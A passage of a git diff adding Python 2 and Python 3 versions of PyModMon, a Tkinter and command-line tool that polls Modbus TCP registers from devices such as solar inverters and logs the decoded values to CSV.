askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if 